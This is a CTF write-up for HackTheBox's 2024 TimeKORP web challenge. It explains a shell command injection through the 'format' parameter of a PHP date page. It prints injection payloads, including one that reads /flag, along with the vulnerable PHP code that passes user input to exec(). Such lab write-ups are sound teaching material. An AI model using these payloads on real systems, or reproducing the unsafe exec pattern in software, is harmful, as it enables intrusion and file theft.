TimeKORP

Writeup for TimeKORP (Web) - HackTheBox Cyber Apocalypse CTF (2024) 💜

Video Walkthrough

Description

TBD

Solution

First things first; download the source and run the local docker instance for easy/fast debugging.

It's also a good idea to check the site functionality before reviewing the source code so that things fall into place more easily.

The site displays the time (http://127.0.0.1:1337/?format=%H:%M:%S) or date (http://127.0.0.1:1337/?format=%Y-%m-%d).

Opting for the lazy route, I check the burp scanner and find some interesting results. The first is XSS (reflected), presumably not much use as there was no admin bot to submit a URL to. The second is command injection 👀

Here's the URL-decoded PoC from burp:

/?format=%H:%M:%S|echo kefbjki4ag d6tyxfigki||a #' |echo kefbjki4ag d6tyxfigki||a #|" |echo kefbjki4ag d6tyxfigki||a #

The result indicates that the echo kefbjki4ag d6tyxfigki command did indeed execute.

</span> kefbjki4ag d6tyxfigki<span class='text-muted'>.</span>

The payload syntax/length is a little confusing so I keep removing elements and re-testing to ensure the command still executes. The attack can be simplified to:

/?format=%H:%M:%S' |ls #

If we URL-encode it it lists the views directory. If we look around for a while we might not see the flag. Let's just check the source code and see the Dockerfile has the following line.

# Copy flag
COPY flag /flag

Therefore, we can print the flag with this payload to retrieve the flag.

/?format=%H:%M:%S' |cat /flag #

We've already solved the challenge but why not review the vulnerable source code. Notice TimeController.php processes our vulnerable GET parameter (format).

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

It passes our user input (🚫) to the TimeModel.php constructor which then executes the command.

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

So, assuming we submit format=%H:%M:%S' |cat /flag #, the command property of the object will be:

date '%H:%M:%S'' |cat /flag # 2>&1

Due to us closing off the string and inserting a pipe character, we were able to inject a malicious command! Crucially, we also needed to add a hash character afterwards, to prevent the output from being redirected.

Flag: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}

Last updated